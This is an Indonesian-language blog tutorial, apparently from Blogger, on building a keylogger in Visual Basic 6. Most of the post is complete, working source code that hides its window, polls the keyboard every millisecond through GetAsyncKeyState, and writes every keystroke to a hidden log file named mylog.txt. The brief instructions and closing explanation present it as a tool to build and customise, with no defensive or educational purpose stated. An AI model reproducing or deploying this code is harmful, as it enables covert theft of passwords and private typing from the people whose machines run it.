![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijzf9YC8AG_vMHLUmhZ9OaKTwa6qcv4EPVk9CcUjReHnyHdpJgfer4KNKP1TuefKSMOp61ns4u-jtbuR4hrTC4cLtzl_xxWMf4MhdkhIg-spDiNiBTiO2VC8ELJvkHtK_WY3ETdNov550/s1600/cara+membuat+keylogger.jpg)
Langsung aja ke topik, persiapkan bahan-bahan dulu. Nih
1. Visual Basic6.0(vb6) Di google jangan portable
2. Download source code di Sini
Langkah - Langkah :
- Buat Sebuah Form Standart EXE
- Tambahkan Sebuah Timmer Dengan Interval = 1
- Dan Copy Sourcecode Keylogger di bawah ini ke form yg anda buat !
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Type TList
kode As Integer
bawah As String
atas As String
End Type
Private List(1 To 255) As TList
Private IndexList As Integer
Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
IndexList = IndexList + 1
List(IndexList).kode = kode
List(IndexList).atas = atas
List(IndexList).bawah = bawah
End Sub
Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
AddToTable i, Chr(i), Chr(i + 32)
Next i
AddToTable 48, ")", "0"
AddToTable 49, "!", "1"
AddToTable 50, "@", "2"
AddToTable 51, "#", "3"
AddToTable 52, "$", "4"
AddToTable 53, "%", "5"
AddToTable 54, "^", "6"
AddToTable 55, "&", "7"
AddToTable 56, "*", "8"
AddToTable 57, "(", "9"
AddToTable &H60, "", "0"
AddToTable &H61, "", "1"
AddToTable &H62, "", "2"
AddToTable &H63, "", "3"
AddToTable &H64, "", "4"
AddToTable &H65, "", "5"
AddToTable &H66, "", "6"
AddToTable &H67, "", "7"
AddToTable &H68, "", "8"
AddToTable &H69, "", "9"
AddToTable Asc(" "), " ", " "
End Sub
Private Sub Form_Load()
Me.Visible = False
Build_Table
End Sub
Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long
If (Dir(App.Path & "\mylog.txt") <> "") Then
FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Input As #FileHandler
Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If
FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub
Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
If (b = -32768) Then
AddToFile List(i).atas
Else
AddToFile List(i).bawah
End If
Exit For
End If
Next
End Sub
Setelah itu anda edit sesuai selera anda
Jika selesai jangan lupa baca Keterangan di Bawah
Keterangan :
Maksud dari App.Path adalah hasil log akan disimpan dalam file "mylog.txt" yang berada satu directory dengan program, jadi dimana file .exe disimpan disitu file log tersimpan.
mylog.txt adalah nama file log, semua ketikan keybord akan masuk ke file mylog.txt
No comments:
Post a Comment